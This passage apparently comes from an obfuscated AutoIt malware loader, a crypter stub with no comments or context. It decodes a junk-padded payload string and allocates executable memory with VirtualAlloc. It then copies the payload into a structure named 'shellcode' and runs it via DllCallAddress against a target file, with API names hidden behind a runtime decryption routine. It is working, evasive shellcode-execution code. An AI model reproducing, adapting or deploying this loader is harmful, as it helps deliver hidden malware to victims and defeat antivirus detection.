fQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEDIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXECIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE2IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXECIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR = StringReplace($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR, "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE", "")
Local $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZ = Execute('DllCall(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x903E6F0DB2739D8AC6FC2E16B1F92A40","GLMYLXVSbVfXdQ",26128), UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB6795DA4547CF703C242A08198E9B76A","GLMYLXVSbVfXdQ",26128), UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xA9FAFB8D901E850BBD47BE152A6CA84A","GLMYLXVSbVfXdQ",26128), UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), 0, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), BinaryLen($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR), UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), 0x3000, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), 0x40)');kernel32;ptr;VirtualAlloc;dword;dword;dword;dword
If Not @error And $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZ[0] Then
	$IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZ = $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZ[0]
	Return False
Global $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZK = Execute('DllStructCreate(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x6D705898ABD01C0973F008705345CFCE","GLMYLXVSbVfXdQ",26128) & BinaryLen($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR) & UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x29A63CC1CD277BD27B572D3DBD1EF460","GLMYLXVSbVfXdQ",26128), $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZ)');byte shellcode[;]
Dim $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCTKi = Execute('StringLen($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKN)')
Local $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNh = Execute('DllStructCreate(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x6F6F4874A096FF5B8151B98A79277932","GLMYLXVSbVfXdQ",26128) & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCTKi & UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x29A63CC1CD277BD27B572D3DBD1EF460","GLMYLXVSbVfXdQ",26128))');byte lpfile[;]
Execute('DllStructSetData($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZK, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xD98EAEFA6FD861A24F62BC3B057AC538","GLMYLXVSbVfXdQ",26128), $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR)');shellcode
Execute('DllStructSetData($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNh, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x696486D422F9033AAA5B9A7F4C1C23BB","GLMYLXVSbVfXdQ",26128), $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKN)');lpfile
Local $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJ = Execute('DllCallAddress(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZ + 0xBE, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xE0862F27A734CC95726F3DF2D45A4A28","GLMYLXVSbVfXdQ",26128), $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhN, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xE0862F27A734CC95726F3DF2D45A4A28","GLMYLXVSbVfXdQ",26128), "- CmdLine Args", UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB6795DA4547CF703C242A08198E9B76A","GLMYLXVSbVfXdQ",26128), IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFIDUTU($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNh))');dword;wstr;wstr;ptr
Execute('DllCall(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x903E6F0DB2739D8AC6FC2E16B1F92A40","GLMYLXVSbVfXdQ",26128), UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xFB61DC6D8CF99D30E2EB6B6BCCA4D37C","GLMYLXVSbVfXdQ",26128), UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZ, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), 0, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB63F4D67854533F2376C6DEC8309721B","GLMYLXVSbVfXdQ",26128), 0x8000)');kernel32;dword;VirtualFree;dword;dword;dword
$IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFI = $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJ[0]
EndFunc